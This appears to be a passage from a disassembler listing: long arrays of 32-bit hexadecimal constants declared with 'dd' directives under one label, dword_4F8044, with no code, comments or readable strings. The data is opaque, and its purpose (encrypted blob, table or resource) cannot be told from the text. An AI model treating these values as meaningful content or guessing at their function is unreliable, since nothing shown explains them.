		dd 2A0301E0h, 0FC750C80h, 0E3F75D23h, 7197AE4Fh, 92AAF3BEh
		dd 7B023CA4h, 98945E63h, 0EA803250h, 0A2060161h, 7760D728h
		dd 0B5437A68h, 8D0C5051h, 9DBF2C2Dh, 2089AD74h,	3ED1A13h
		dd 4E90D4ADh, 7E45FE85h, 0CFBF3087h, 9492DA2h, 0F0F9F563h
		dd 4B8D427h, 0F2778CE9h, 3A501C34h, 60181AA5h, 96046F57h
		dd 0D568E73Dh, 7E09B330h, 46F37462h, 86FF09B5h,	30445647h
		dd 0F3A181A2h, 654C4F1Ah, 6EED1231h, 5A09F7BAh,	1FAEC018h
		dd 220E2F5Dh, 0B2E60CF7h, 0C512F31Eh, 0D3BFD0D7h, 3AC2EA0Ch
		dd 0A7BA7959h, 7CF8E070h, 69CB0D7Eh, 7A72565Eh,	0A0B8D2F5h
		dd 2F513C1Fh, 418F7454h, 0A78213C5h, 7CC4640Ah,	0D263A2EFh
		dd 0CE1254E2h, 311DC8D9h, 691F7EB5h, 0E91CB56Fh, 68463C53h
		dd 5E154C59h, 2146B039h, 0BFF6F85Fh, 7F92FA4Bh,	78F0F8B4h
		dd 3660EF41h, 6F603191h, 1051740h, 0C47AFB89h, 9CA8EB09h
		dd 0C09AE9E0h, 303CA1B2h, 899325EBh, 0C2E24546h, 0A45410E9h
		dd 0FFDB81Ch, 6548526Bh, 0FE34EF74h, 8048E4EBh,	0AE317F4Ah
		dd 78711819h, 9DC5B63Bh, 7E2F359Ch, 4AD7CB91h, 0C0157707h
		dd 0CC19D5A7h, 8D353BAFh, 1F23EC80h, 9D127960h,	560E4DFEh
		dd 5EDDC954h, 0E059253Ch, 7C5650A5h, 0CA2FFBDFh, 100992A3h
		dd 3E85658Ah, 8B56FB2Fh, 0A97CD953h, 0B82FD7Ah,	541FF638h
		dd 22688838h, 8D84AD19h, 1FEA162Ah, 147FA7A3h, 690D9827h
		dd 445F4EB2h, 49EF7CC9h, 0BA3875E1h, 0F8C20C50h, 0FB955E65h
		dd 43E89331h, 0BBEAA792h, 950CB586h, 4ABEC1D6h,	25CD5FEEh
		dd 79D91077h, 2B2D155Dh, 0EB93C65Eh, 919232E3h,	55273B97h
		dd 6A5BA98h, 9D4818ECh,	5BCB7C16h, 660B5D5Ch, 0E9A4604Bh
		dd 86E70280h, 60100D18h, 2FC0C881h, 0D9CEC1FCh,	0B25D895h
		dd 3E0747BAh, 0CF156448h, 0FE8CC8BFh, 448FE95Fh, 12655C2h
		dd 0C74510F7h, 0F9163F39h, 0B955672h, 0E3F63DB0h, 706851E0h
		dd 7AA42E53h, 0DEF170D0h, 51A93E04h, 76A0C889h,	0C309123Bh
		dd 2C5EA879h, 562F0DFFh, 45405A28h, 4933859h, 0F25E9F22h
		dd 0CFB8B700h, 6452D14Dh, 88E22C50h, 8413BEA1h,	0B1F0DBB2h
		dd 319540C8h, 0D65F85AAh, 20082048h, 9023D6Ch, 0F4850FDBh
		dd 4C560C10h, 77CE5B41h, 0F3E09F5Bh, 97359E2h, 4AD2E976h
		dd 0CB89AB9Ah, 20E86699h, 0E5B7EAB9h, 18BE24A6h, 36EAC7ABh
		dd 37B42512h, 2106EFE5h, 71C7020Ch, 0AE9D94Dh, 0B10E6B7Fh
		dd 0CC3BBA75h, 47178BD0h, 0F5064B1Dh, 0ECCB4D7Fh, 44A35A88h
		dd 0F50CE7B9h, 662430FDh, 246B9C98h, 4F125410h,	56B2C1D3h
		dd 9B062057h, 2742DC82h, 0F76157EAh, 895B9266h,	0D2EE67EAh
		dd 54E4F8A4h, 722405E4h, 0D8133D3Dh, 586EA3AEh,	0E91C6234h
		dd 0AF49DE1Bh, 0C51005Dh, 5577B19h, 0AE447D05h,	0FBE2FA15h
		dd 2CAFE939h, 0E15FC466h, 0BBC070ECh, 2EFE38FFh, 530009Fh
		dd 22E94A20h, 0E30545E2h, 53420172h, 0FEA4F407h, 12FEFCC4h
		dd 0F6AA20h, 68096F42h,	94D726F1h, 411C98DCh, 1E014059h
		dd 6D7BA65Dh, 0C6542829h, 68877B09h, 201B12B5h,	5E0B3F32h
		dd 0DF5CCC6Bh, 0C2ABA93h, 0B800F785h, 2C94730h,	3F07E8C1h
		dd 5A924048h, 61B7BF28h, 54268E41h, 9D04AA97h, 0EDAE5768h
		dd 0DCEC5B96h, 5DA6BAE4h, 33551519h, 2DA5DCC3h,	0C48D2FBFh
		dd 0ADAF3198h, 0FFB9D633h, 1BDEABD3h, 4F4A2850h, 0E5B3C928h
		dd 8AA3056h, 0B1B914C0h, 0B019C031h, 0EE5E9752h, 0F1BA0C34h
		dd 16E078FAh, 4646DF9h,	9238B3AFh, 541F8BFEh, 0EF4B2925h
		dd 36BA1041h, 0C803208h, 4EA97B44h, 486012E9h, 1492E547h
		dd 26017B33h, 4272839Bh, 5243555Ah, 1731ABACh, 0E272B073h
		dd 54701E04h, 3E50836Ah, 0D84C7FE9h, 602CCCAh, 0A9E912A2h
		dd 1D18D72Bh, 0C04E74B3h, 60F320E0h, 84F1834Ah,	6F5BFC6Ah
		dd 15C383D0h, 0AF4458D6h, 9062E206h, 380B1852h,	5C484276h
		dd 0AF5C3DD8h, 259B9872h, 0DD20BD3h, 531E778h, 0D8F7106Bh
		dd 0B88E430h, 436CBC3Dh, 51AC2E48h, 3C2F2133h, 0CDF73BF0h
		dd 0E2B0C98h, 8316968h,	0C4B1AC91h, 0A781589h, 8319855h
		dd 2F189D1Bh, 0BB000D77h, 7406BF1Dh, 4EE93903h,	4CEC137h
		dd 196E99BDh, 0B02A5D32h, 0FB52DA77h, 2BFE06D6h, 0DF83E28h
		dd 24E80193h, 81CA026h,	7C6F2AA1h, 29B500B1h, 45BFD30h
		dd 922C3831h, 0F10D84Ch, 71B01C6Ch, 64209028h, 0BC5F5E4Bh
		dd 0F5409206h, 95A3305h, 0AAE9344Dh, 2744AFE9h,	2820879Fh
		dd 0D44F34E9h, 0BF8E22FFh, 0EA9907DEh, 47FD3D0h, 4042E48Ch
		dd 0DBFFBFF1h, 59AFA16Fh, 4000CF3Bh, 0FB9D3493h, 0D42D3DA5h
		dd 0C7BFA54Eh, 0E2D29E53h, 2B22D926h, 620C7E5Bh, 0D92CCFA0h
		dd 0A9C2DD62h, 53CCC8F5h
		dd 0E8DD7BB7h, 0BC5451F6h, 0F754B03Eh, 0E7002073h, 0DFB25246h
		dd 0DDF8C5E9h, 4B93BE63h, 2F898037h, 7B7C7124h,	269DF205h
		dd 87867F93h, 0F8709504h, 0F08D0200h, 0E9D1312Dh, 49356086h
		dd 54229BF2h, 0A042462Ch, 0C7CDC281h, 6D65EC8Dh, 7B57297Ah
		dd 681748F3h, 0E9CBB0F8h, 8346BB2Eh, 56C82980h,	2664FFBEh
		dd 0DA547Ah, 36931789h,	0DAB6EFE9h, 763C023Dh, 0E3090466h
		dd 0B132057Bh, 91274215h, 3A4C0C98h, 10EC2401h,	0A53F7D1Dh
		dd 65A3E494h, 0E974F005h, 25ABD183h, 53031D51h,	9025EEEDh
		dd 0FB4E33BCh, 0B770FEC8h, 4F614A0h, 74C9829h, 0CAD40988h
		dd 75D28B6Eh, 0D3579BE2h, 3C68CBC7h, 0F7395D34h, 0E9D70B59h
		dd 8022A169h, 2FE175C7h, 0C18D062Eh, 0CA016AEAh, 7A2A1819h
		dd 0CCD65C68h, 73F23DBEh, 0E5585527h, 3A57782Dh, 99DD68Bh
		dd 89A21BDh, 97A0380h, 3EF32248h, 43666104h, 7BF60509h
		dd 92E25E94h, 1218B2EFh, 0A6BF217Dh, 0FA4A7B84h, 0C5F88C8Dh
		dd 0E5497B6Ah, 826507Fh, 4B7ECA4Eh, 1879F1EDh, 2E56BA6Ah
		dd 0D8130CF7h, 79EF5F50h, 0EB493A12h, 6B7284F9h, 7CC461FCh
		dd 4871EF52h, 0B27E5BDAh, 0D3FC40Ah, 5F094797h,	5B4FCA46h
		dd 0E9E420AAh, 999F8246h, 0C952F1EFh, 4572FF5Bh, 5500B87Dh
		dd 0E8832E97h, 4F74801h, 4A7225D0h, 0BEEC4DAh, 2D2596CAh
		dd 0A989A5Bh, 0CB6FA3E9h, 0B58FD5A5h, 0D3469E44h, 0EA92DD6Fh
		dd 2CFE5955h, 53C02566h, 0F64E68ACh, 52CB94FCh,	7389EDDCh
		dd 0C3821BFFh, 5B5327E6h, 27906D7Fh, 6CE988F1h,	2D41254Fh
		dd 3D4D212h, 233D7047h,	6FB120DDh, 0D9555347h, 2CD0F55Dh
		dd 6BE4C42h, 0AEC38008h, 887F0106h, 63685BDCh, 0F1694915h
		dd 95122AE2h, 0DEF7F0ABh, 7745E92Ch, 78E37CA5h,	0C29FE8E9h
		dd 1DF37585h, 64E5A54Eh, 4C49CEAEh, 0E92D7FE0h,	5C246125h
		dd 0FBB5986Ah, 355E32FCh, 0D53AC3CDh, 0D45887FAh, 1EF14DFh
		dd 813018Dh, 0F1CFE2C1h, 38931AACh, 849135Ah, 5013A8Ah
		dd 0B6E6EC0Ch, 41F7122Bh, 6A7CE2C1h, 0FF8C6180h, 61F8ABCCh
		dd 9EDD02F2h, 0F3529D23h, 17375758h, 77FF5049h,	541DB2C3h
		dd 3A5318FDh, 0CEE39833h, 0C2C552ADh, 0D8AA40B1h, 0EF05405Bh
		dd 44FE7D1Fh, 0C51EF48Dh, 400F2B69h, 2D00E0C1h,	10F9454Bh
		dd 9F80505Ah, 4B872EC2h, 91F15Ch, 92DDE907h, 2EB559Eh
		dd 9E429F23h, 876800D3h, 5872E349h, 0DC9832Dh, 0C8195501h
		dd 69802042h, 2A46989Dh, 0E7989743h, 0EBB11413h, 5812A7A4h
		dd 1682CCF8h, 41577BA2h, 0BA141EA1h, 70D5BD21h,	97DEA37Bh
		dd 64BACF12h, 0E4A3FA32h, 0AD07614Fh, 0F1AC3F5Eh, 0AE68E9A8h
		dd 0F25BF52Bh, 25DFF40Dh, 868B3FC5h, 99985DE1h,	33B950D1h
		dd 0E4805803h, 1EEC998Fh, 0B0AA03Fh, 0EB852960h, 4C9F24C7h
		dd 0DB06667Ch, 0C2CA574h, 0AA5C1909h, 0CFD1D707h, 1FF1C56Bh
		dd 0D8606FE9h, 0D698F229h, 5220F82Eh, 667E0728h, 706B1427h
		dd 65C41887h, 0E95E28B4h, 1263534Dh, 88AF8468h,	50255199h
		dd 4E6A5E52h, 0B4B801DEh, 930DB52Ch, 0B9A3C618h, 924D8417h
		dd 8D6B17Ch, 2010812Fh,	32706251h, 70D83ACAh, 0FE92B85h
		dd 4AE3BD90h, 0BB6613AEh, 4C847961h, 3548B6Fh, 863EABC2h
		dd 28E80540h, 0F92CE106h, 167819Eh, 0CACD7715h,	8B68C200h
		dd 0B6CD7FF3h, 8521206h, 5A766A6Ch, 473E2206h, 1C75EC18h
		dd 7E292E28h, 34082868h, 1014120Ch, 915B2062h, 3BC4483Dh
		dd 444B2C8Eh, 0B3FA15Ah, 208C505Fh, 55009298h, 0A5419CBDh
		dd 5AE5C124h, 2FC88105h, 92B33E48h, 0B0172990h,	30F4E6F8h
		dd 77A51A81h, 0A1654A22h, 0FC07048Fh, 0BDBAB443h, 0ED688793h
		dd 8AEF135Eh, 0E9D3090Ch, 0F5CC62D2h, 407E4033h, 0D6BEC126h
		dd 3237E140h, 287B70Dh,	0C01A144Ch, 0E040A1C2h,	0B64A1728h
		dd 0E4082C09h, 3359001Fh, 0F834CE1Eh, 0D87E01EEh, 0DAE93274h
		dd 0C0D97B6Bh, 76865E9h, 440F04Fh, 0A82F4090h, 2B92510Eh
		dd 9BBF039Fh, 4E2DE60Ah, 0DD70094Ah, 7C4B2745h,	63E9615Eh
		dd 21F9253Eh, 33A46A8Ah, 2D8EB623h, 514EE7C2h, 0DD5BDE27h
		dd 857D876Ah, 64C839BDh, 726809F7h, 0A6F17115h,	4D44E904h
		dd 0BDB530EAh, 57B8C3BFh, 4C46C820h, 68B04854h,	7491731Fh
		dd 34E95183h, 0EE9B76E1h, 0F9D24957h, 0F3159A16h, 0E959C1EFh
		dd 0D222BB3Dh, 0B4402C0Ch, 5A01F6AEh, 0E9CB7590h, 8C2FDA14h
		dd 0FF97EBDAh, 27300B96h, 50BF2855h, 49973D6Ch,	59A14D72h
		dd 0B5FAD828h, 562D617Eh, 136804C4h, 0C160BC43h, 0FB04D2B9h
		dd 5AAFE9DCh, 555411Ch,	748C553h, 27960FB1h, 54850E21h
		dd 0B87558B0h, 13390788h, 0D6E6175Ah, 73EB0CC6h, 640C6DA0h
		dd 0E650C703h, 125EF121h, 335A3Ah, 0CE814E7Eh, 0BD302995h
		dd 30DC4811h, 4FE8A077h, 66449760h, 9A116E05h, 82C2567Eh
		dd 0C1B9A2ACh, 2D81C458h, 7D65C648h, 3E08DD49h,	625913D5h
		dd 0C2588B19h, 7EDC10Bh, 0AF687545h, 0D7A3EB84h, 3E0BD691h
		dd 0FE500876h, 36355F40h, 682F92B9h, 6169544Ch,	717FF6B8h
		dd 6A3361D0h, 252F1D97h, 34EA72D3h, 611CC6D0h, 3055B501h
		dd 0E5285AD5h, 0C0C9456Ch, 0EDF65F87h, 20D2600Ah, 0DDF9AAh
		dd 0EE0FCAB1h, 3D78B010h, 98B51C2h, 8C08FB29h, 0E663D08h
		dd 0B98072D2h, 0EE9D732Bh, 681CC65Ah, 565A187Dh, 5AD61C47h
		dd 796A5FB2h, 0EA8027E1h, 443A3BA2h, 7EF5CCAh, 555B5E09h
		dd 30577209h, 974AC1FAh, 84961559h, 292B79E5h, 26BB0081h
		dd 0B0DF41Bh, 3B485CE9h, 9AE3F9D8h, 804A90CEh, 9E5C6786h
		dd 915883A3h, 90D9F4DFh, 0B9288168h, 43C136F5h,	844F93EBh
		dd 8487B2EBh, 11A16B68h, 0A18FAD2Bh, 0B26E4F02h, 3EBD24Eh
		dd 4A8E41DAh, 0E55BA09h, 2E45CB3h, 54F45D3Fh, 1669CC60h
		dd 4A093C71h, 7774E8E9h, 36C73851h, 0E98434AAh,	0C7406526h
		dd 1DB75580h, 8320DAB5h, 511C0508h, 0EB61FD7Eh,	82925264h
		dd 404FEA99h, 835BFE63h, 125FEDF4h, 4B30F623h, 0E1660868h
		dd 0E5ACA83Bh, 3039C2EEh, 5AFCBD00h, 263B7A0Ch,	0A9C52EF0h
		dd 0EDD908B5h, 0F8F1F709h, 0A25BB7E2h, 94568FBDh, 0E9DE2236h
		dd 42B1A4FCh, 0F23290AAh, 78301C76h, 61250C09h,	53598B0h
		dd 417A10C2h, 4765BF5Ch, 579D6209h, 2A68F2B0h, 48311C5Bh
		dd 51784660h, 0C2B9AAF4h, 0C0200992h, 6F25D157h, 0BACE17C4h
		dd 0FF0C7F49h, 951FF02h, 61E2E918h, 60C341AAh, 0A969E529h
		dd 6804C70Ch, 1FD939EFh, 5101E948h, 0E2EA3C3h, 0DBC446E5h
		dd 0B9ADABFCh, 0AF198B12h, 4C522138h, 30010E53h, 8911391Bh
		dd 0D11C30FBh, 4D95D81h, 0BE02503Ch, 638056DCh,	2C4D79C1h
		dd 0C0E0CB60h, 4B66E9D5h, 1632CECEh, 421FE628h,	5742CA27h
		dd 0FB64F8AFh, 154D5DDh, 8766988Ch, 0A9AA422Eh,	0A0925D70h
		dd 41C95BBFh, 2AFEB2E9h, 0D77B48C9h, 76AC3FADh,	589551C3h
		dd 7E80FB55h, 67C8DC0Eh, 92F2CA21h, 0E916D0FCh,	37BF69C3h
		dd 0B002881Ah, 0DD25AA14h, 0D51677E7h, 0E86AB7E1h, 0CCAAF514h
		dd 4625E9DEh, 0B72C6976h, 5D9BA28Bh, 8149AAA0h,	583F6DE1h
		dd 0D9F798CFh, 306A0F10h, 0F8B875C9h, 0CA093EDDh, 0A4F44BE9h
		dd 0E7BE5B8Dh, 533C8A6h, 0B4A01DE9h, 401EB5B8h,	5DCB0EB8h
		dd 0CA9591D0h, 0BEBC902Eh, 0C0004C6Fh, 9FEE814Dh, 0C174B170h
		dd 0D50DDB0Ch, 7BC82E6Dh, 3C281885h, 0C28E0C42h, 2DD9872Eh
		dd 25A3D42h, 5554EE9h
		dd 0CAEF0541h, 0EC800025h, 6E4C05Fh, 10DC66F6h,	0B598069Dh
		dd 62F4820h, 6DEE781h, 0C70596AEh, 2616BDBh, 0C08590AEh
		dd 8D2587EAh, 0AE0D8789h, 0F93B3C58h, 0AF107096h, 50C21F31h
		dd 113EC33Bh, 0ECE2BF84h, 2A8CAED2h, 0DDB64BE0h, 97FBEFD7h
		dd 66641607h, 3C930289h, 7C125F17h, 80C65E75h, 77A7FBDCh
		dd 0D2AA4ED1h, 0FE0F192h, 41F618A6h, 0E3471F65h, 199F9A80h
		dd 4C305DC1h, 854A2048h, 0B477FE44h, 6853C380h,	0CC185A1Bh
		dd 4B12072Ch, 0B40679C9h, 0B738BFCh, 2D260F5h, 0CC1E8F02h
		dd 96B1030Bh, 0EE23029Eh, 5DF71C51h, 800478D7h,	6905E908h
		dd 0E209262Fh, 929EFF5h, 0BCD4BE17h, 2A2AA62h, 0E459FB01h
		dd 0CE57B249h, 7ECF2719h, 534E6244h, 71579ED2h,	94FAE5DEh
		dd 52527C95h, 0B344AE4Eh, 0BB128D0Dh, 136E7F76h, 6014DA68h
		dd 9E1E96CEh, 9ACD564Bh, 0F718D538h, 35580BD6h,	2077B718h
		dd 9E1B4A96h, 793263F0h, 0C752102Ch, 28192108h,	226327A8h
		dd 95A1876h, 9A62FF8Ch,	0C1BC20DFh, 78DB7E82h, 52C72737h
		dd 116BD759h, 0DDF6D66Fh, 0F2953716h, 4155693Fh, 823E5C07h
		dd 0F3099C8Eh, 8C1ACD3h, 76264BD6h, 0D460953Bh,	2CC226EEh
		dd 6468FA03h, 0C7B20912h, 8302084Ch, 24723C1Fh,	7D588180h
		dd 38C089A6h, 3F6854A2h, 43C904Eh, 3CD40660h, 2FD7AE01h
		dd 33A9D9E5h, 2E40D10h,	4A7085BFh, 41C1F579h, 64DFF949h
		dd 0EA01D139h, 840FD039h, 283B551Bh, 914E7764h,	5C89CFCAh
		dd 24DA1457h, 82D930E9h, 0F56CB1BEh, 10EE9861h,	672B3C5Ch
		dd 6394C862h, 0E6E015ABh, 98070410h, 0CAB9512Dh, 0C801A872h
		dd 121CC104h, 0E069375Fh, 7960636Eh, 0FB26C79Bh, 0BA6E5F38h
		dd 0BAF32B00h, 0F214AA83h, 826CB7DFh, 46FD772Eh, 5480640h
		dd 3D88F814h, 355C896Bh, 2F735525h, 1997581Ch, 14CFAED1h
		dd 4D90FA04h, 0BB618668h, 67EC0B77h, 6D27DDC6h,	7A2BE6CFh
		dd 5B1226C5h, 0C9E89D57h, 147791DDh, 4FFE970Ch,	0BC4CB6F0h
		dd 0D272BE25h, 0C3DE03FCh, 4BB020E5h, 166095E9h, 2E71ED3Bh
		dd 20627BA1h, 0C8958F6Ah, 89D0798Dh, 0B9AC2EEEh, 17CBEF4Eh
		dd 61400E0Eh, 6ACC2DA0h, 0E92E3F0Fh, 5F93803Dh,	0A83E62FAh
		dd 5712F65Eh, 308F2DEAh, 4F418A4Fh, 6848802Ah, 0C19363C5h
		dd 25605000h, 81C30908h, 242D3CABh, 0F70B985Fh,	43C5F5FCh
		dd 118A888h, 0E86609BDh, 49C07E34h, 4A153519h, 1EE9A055h
		dd 754F0690h, 5EE544E0h, 4C06CF21h, 885C1069h, 9D64A674h
		dd 2D27386Ch, 0E1CC91Fh, 6F75C96Ah, 28EC7FF5h, 9C57978Eh
		dd 0F15EBF21h, 931F3A5h, 46D75455h, 1170B72Ch, 0C05F34EAh
		dd 1440B1B0h, 0D3214C54h, 1F6D4A0Fh, 7CDEEF9Dh,	0E8B06281h
		dd 0D26B89B3h, 0ABC0926Bh, 68E64659h, 0F49D5570h, 7E5D7267h
		dd 0E75D27E2h, 0CD2905B7h, 5BF3FF59h, 0F205DD94h, 85050936h
		dd 0E320FB3Eh, 60FC2111h, 1E472272h, 0D6C21D5Fh, 40FF6DC9h
		dd 8273C454h, 59C25282h, 554038D4h, 0C387C68h, 0D15D033Bh
		dd 490ACD9Eh, 0F72F0F22h, 5450F501h, 192F785Fh,	0E8855A29h
		dd 96039F4h, 82F28112h,	2A622D47h, 84FB0981h, 0A8FC3F53h
		dd 0DC7DAE4Ah, 67EAC840h, 0FB0E4C63h, 0F5197F19h, 0B1AC2FEEh
		dd 8188A94Fh, 56156850h, 0C0161836h, 0F10BEC41h, 0C032FCE3h
		dd 6864C005h, 3B35C106h, 0B6874CE1h, 0B4501303h, 0E7EC80F3h
		dd 0E95EC430h, 3F66649Ch, 71D7ADC5h, 6ABD7BF8h,	0C3F8F584h
		dd 81CD789Fh, 0BC056CB9h, 49647F04h, 97A4C141h,	20D2B801h
		dd 0FE9FFA5Ch, 0E7A9CF99h, 25D83EEAh, 0FA3A152Dh, 414145E7h
		dd 6EF7B599h, 4496F1ACh, 0BE29CE39h, 0CBC2EC20h, 3CE62F6Fh
		dd 0DE2D3165h, 5A31109Bh, 0CF0365BDh, 64C272D1h, 3837EFB0h
		dd 213CA316h, 2E1057BCh, 0E6C00B94h, 7E45C07h, 5080DEF6h
		dd 5AF42872h, 531EDCF0h, 0E3CB58B3h, 1C1804BCh,	16DD0EA4h
		dd 0C1F0FC29h, 0F8EC6Dh, 1258D8BDh, 0AB890DB3h,	9AE6E900h
		dd 9038AD32h, 76B40A1Eh, 18BC1955h, 7CCA4D42h, 0C8DA053Dh
		dd 2D790543h, 0EEB4FDFEh, 81A69C66h, 0B55190C7h, 0D6E32018h
		dd 11387109h, 81C77029h, 8345F08h, 13340E69h, 5722B879h
		dd 84DD29B7h, 4D70963h,	8B9F030h, 702D098Eh, 0FF027903h
		dd 5F0938EBh, 2201714h,	0C18904Bh, 0A2F743Ah, 262DE168h
		dd 0E25370B5h, 460D0B1Dh, 0DB84D5F7h, 3A29BE36h, 6B37296Bh
		dd 0AF6E7F21h, 0FB918404h, 0E30233B3h, 31796807h, 0FD0EF7ECh
		dd 2053713Ch, 7420D2BBh, 95F1956Eh, 0CDF300C9h,	50BC5EEFh
		dd 0E091A02Ch, 0ECFC4B47h, 905A81F5h, 0DFE57415h, 2120F968h
		dd 0D8710427h, 6FF2419Eh, 5F80DD81h, 221C97Ah, 0F1F72066h
		dd 6BC5AFBBh, 30665A89h, 97305674h, 6679EBCEh, 10BB20F7h
		dd 0EA14B980h, 23E8489Bh, 0F702EE5Bh, 51AE88E9h, 2DCE8895h
		dd 53606801h, 917C3AD5h, 56CABAD2h, 0BE8BAA4Fh,	53B7E9C2h
		dd 1E4A99FDh, 0BA02AB6Ch, 26C720Ah, 4DC1027Fh, 0F65100F7h
		dd 0E8F7245Ch, 3DCB9B20h, 58AF82F8h, 0D47A5D5Fh, 0A0821A22h
		dd 3E33362Ah, 66776043h, 445B182Ch, 1FBD5D50h, 3F15906Fh
		dd 66BC6716h, 29C10796h, 59F50936h, 8591E32Bh, 0F1E93240h
		dd 8E44E05Bh, 0D0BF06E5h, 0EBBE3D03h, 57947D5Bh, 4BAD2FAEh
		dd 66C4C18Bh, 0AF1BC2F7h, 5675B6EAh, 0EB8050B0h, 6406C761h
		dd 0C52A4AE9h, 85CBBEA6h, 0F1F2EC4Ah, 66003845h, 2E4BA068h
		dd 7310B7A2h, 0F401250Fh, 2B5E5A55h, 0AA6D8802h, 892BD611h
		dd 0B255BB70h, 7202A688h, 45D6BD9Bh, 0F13582EDh, 9282E93Bh
		dd 3336D80Eh, 8AC462E8h, 80658C3Ch, 86D5CA03h, 79D3F6DAh
		dd 9BE21F08h, 1E8226FEh, 8DED0F3Fh, 3075F560h, 0C04B59EAh
		dd 6820C8C1h, 0E9F0767Dh, 75953527h, 0D2C28492h, 266F6EDEh
		dd 28101354h, 20A25D2Ch, 0B39A204Eh, 0DCF55F4Fh, 591EAB2Eh
		dd 7AD03C78h, 5D70B6EEh, 0B82C21C5h, 0CDF21FD5h, 0B531AF93h
		dd 136E94E9h, 0B4CCAC88h, 1504E0ABh, 4EA52601h,	4F7E685Eh
		dd 6064CC6Fh, 0D8A56D5Ah, 0A8FDA0DCh, 9859CB84h, 36190C71h
		dd 0D0C7D03h, 3E1C1713h, 0BAC500AEh, 73C12ED6h,	4A0BB7B0h
		dd 90EE87E9h, 257BADCFh, 77DC2077h, 0D9954564h,	7FFD99FFh
		dd 0D08FCABCh, 80CF32D1h, 0AFF8DFEEh, 0E9FE2904h, 0BF912344h
		dd 8B3FEA31h, 0DE9175Ch, 2CEFA356h, 2F61B9F9h, 6855E361h
		dd 6A5D1B42h, 0C04DDCEAh, 224B6851h, 0CA2A1997h, 0EAE92974h
		dd 13189FFBh, 27BA50C3h, 2107EF2Eh, 0F4543E0Eh,	2D2159DCh
		dd 0C2C325DCh, 0D652E4EFh, 83171C69h, 9CDF4BA5h, 50172682h
		dd 206818ABh, 0C2C9DD4Dh, 50AF66B5h, 0BD1B8AF0h, 61848246h
		dd 0ECAF0F28h, 1DF5420h, 7FD8E381h, 204B0BD7h, 5781B6C5h
		dd 8E3420h, 0BF793341h,	4FFE5010h, 6D5A2398h, 0B8E009ECh
		dd 0FD022E1Eh, 1BE9405Ah, 0C13B7148h, 0C2034168h, 0C99E595Dh
		dd 0B1008673h, 0C17ED35Bh, 0E683B0E1h, 330804C7h, 89F2E91Ch
		dd 319A430Fh, 4ED3065Fh, 25510386h, 78935557h, 2A6A08D1h
		dd 0C3C0A7A9h, 0FE2C062Dh, 0EF12F895h, 4EA30D3Ah, 275E4010h
		dd 26165950h, 0E7C25AE9h, 7AAEF505h, 0AD84FFB3h, 445044C8h
		dd 0DBA25415h, 801C4478h, 0CECFC6F6h, 674B65B6h, 1BB5BE4h
		dd 725E2F3Bh, 3048CB81h, 27BA08E5h, 37B55604h, 4DFDD931h
		dd 0C275679Eh, 34D475A2h, 53B79DAh, 0ADF115E9h,	0E82DC05Ah
		dd 0CA71F447h, 50705ECh
dword_4F8044	dd 0F902B768h, 12FA8087h, 0BB95D29h, 1B3DF41Ch,	0E12BA82Bh
		dd 5F2F2EFEh, 61AD6506h, 2DEFC0B5h, 0D518B760h,	59806B74h
		dd 66E20125h, 0F7976514h, 0F82DCDD7h, 3C002406h, 40A9D535h
		dd 0B8E0D14Fh, 0CB386F47h, 5F540589h, 8D0ECA83h, 0BD0C0376h
		dd 140B75Ah, 1901BAE4h,	633B53D4h, 75DF43Ah, 20207595h
		dd 508B0EC6h, 5189282Fh, 0C3DE6EECh, 3BB37F72h,	3263E2E0h
		dd 0F06BCB30h, 7CA67D0Ah, 0DDCD1644h, 811B1D56h, 911BFCE5h
		dd 67F02E69h, 0A2443070h, 0EFD6F51Ah, 82017327h, 0FD9A70Fh
		dd 6174E809h, 32A4A66Fh, 7EF89F7Eh, 55BAB3F0h, 0AECEA297h
		dd 0AA2D043Fh, 6A4EE97h, 0DD3003D0h, 32539D5Bh,	6880FDA7h
		dd 8003B13Dh, 2883E90Eh, 0A9D88AE1h, 1A3EB980h,	0D4317B9Ch
		dd 0C31DC776h, 0FE38577Eh, 819ECC4h, 15D1E9AFh,	0A7C7D82Bh
		dd 0DD9DE17Fh, 0A18D77B8h, 3F36E79Dh, 89B47617h, 26262C5Bh
		dd 6790130Fh, 5109AC94h, 0FA82B353h, 962E5h, 79C1F51Bh
		dd 57780213h, 9D0648BFh, 0DDF7B660h, 19BE0B48h,	0ED2AFD09h
		dd 9EFF630h, 57BAE91Dh,	0D16283CAh, 0C049063h, 4E2E05CFh
		dd 84143F9h, 140CA1h, 30431110h, 14C21E9h, 0C4BBD6B6h
		dd 89F8EE61h, 4BB0BBE4h, 5BC8B8DBh, 9407C4DCh, 55F8AE7Fh
		dd 4112AAB5h, 2D33C411h, 0B614F51h, 9998482Eh, 214B2668h
		dd 0CC271631h, 5A70F62Fh, 0ABD611ACh, 91BB1D57h, 6A2C8206h
		dd 0D7019C2Dh, 7264A90Eh, 0D082D0E6h, 677010h, 45161EBAh
		dd 5F4F6875h, 0DB973079h, 6924783Fh, 0F6886B09h, 479A3AA8h
		dd 0E4570A0Ah, 9E681584h, 0C47D1F7Eh, 131A3132h, 0CD0413EBh
		dd 10D2679Bh, 0DC6B415Ch, 5EA8A4DFh, 3F211780h,	0D03C5834h
		dd 0CF05044Ch, 0C75D087Ch, 0E4539094h, 2904F499h, 0D3015FFBh
		dd 778AFC80h, 0C10F098Eh, 63F705EDh, 249AB001h,	1B945D3Eh
		dd 10685A25h, 0BAB7AC0Bh, 4195C0F9h, 0F05E4876h, 77E3F810h
		dd 5F884295h, 0DAE5F67Eh, 46AACA94h, 48547171h,	17F72858h
		dd 0B48A7D8Ch, 0AAE1BB16h, 0FA537E28h, 0BEBA4DDBh, 1DC98101h
		dd 7A765747h, 0F03156A5h, 16371A9Eh, 5A8EE898h,	2B6D7DFFh
		dd 0B5DE28FBh, 0B753EE17h, 0E9FD4E02h, 573FCA2Ch, 0B4C536D1h
		dd 0F82B5BC9h, 1F8A1202h, 0EB4E2FB9h, 12877914h, 3041A4B5h
		dd 7561378Fh, 0B3649EE9h, 6059EEBBh, 0C0EBC486h, 116FCC3Ah
		dd 0E86550F6h, 9F01F404h, 75585709h, 5A5A7529h,	48EFE420h
		dd 544F195Eh, 40777692h, 0EE58295Ch, 1E211B72h,	0F9EFDC10h
		dd 293C8B71h, 2BC87D70h, 0BD946C81h, 22000868h,	0E97FC079h
		dd 14C15DEDh, 0F487374h, 0CE2863C6h, 0CAB2EE0Eh, 0A59262CEh
		dd 0DC58047Fh, 254E71ABh, 40F1BECCh, 0E00F05D3h, 453A9E5Bh
		dd 6BFD029Fh, 80C2B3C0h, 6C536CBh, 1C8366FEh, 0F8E382B8h
		dd 0B1510F5Ch, 82F63032h, 0B2774CE9h, 0D7CEDDCFh, 595842B4h
